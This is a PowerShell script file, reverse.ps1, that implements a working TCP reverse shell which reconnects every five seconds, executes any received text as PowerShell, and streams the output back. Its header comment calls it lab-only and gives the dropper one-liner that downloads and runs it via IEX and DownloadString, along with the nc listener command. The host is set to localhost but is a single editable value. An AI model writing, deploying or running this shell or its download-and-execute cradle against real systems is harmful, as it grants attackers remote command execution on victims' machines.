reverse.ps1

# reverse.ps1 — lab-only TCP reverse shell with reconnect + UTF-8 streaming.
#
# Fetched by the dropper via:
#   IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1:8080/reverse.ps1')
#
# Pair with `nc -lvnp 9001` on the listener side. Localhost only by default.

$cfg_host = '127.0.0.1'
$cfg_port = 9001
$enc      = [System.Text.Encoding]::UTF8

while ($true) {
    try {
        $client = New-Object System.Net.Sockets.TCPClient($cfg_host, $cfg_port)
        $stream = $client.GetStream()
        $buf    = New-Object byte[] 65535

        while (($n = $stream.Read($buf, 0, $buf.Length)) -ne 0) {
            $cmd = $enc.GetString($buf, 0, $n)
            try {
                $out = (& ([ScriptBlock]::Create($cmd)) 2>&1 | Out-String)
            } catch {
                $out = ($_ | Out-String)
            }
            $prompt = "PS $((Get-Location).Path)> "
            $bytes  = $enc.GetBytes($out + $prompt)
            $stream.Write($bytes, 0, $bytes.Length)
            $stream.Flush()
        }
        $client.Close()
    } catch {
        Start-Sleep -Seconds 5
    }
}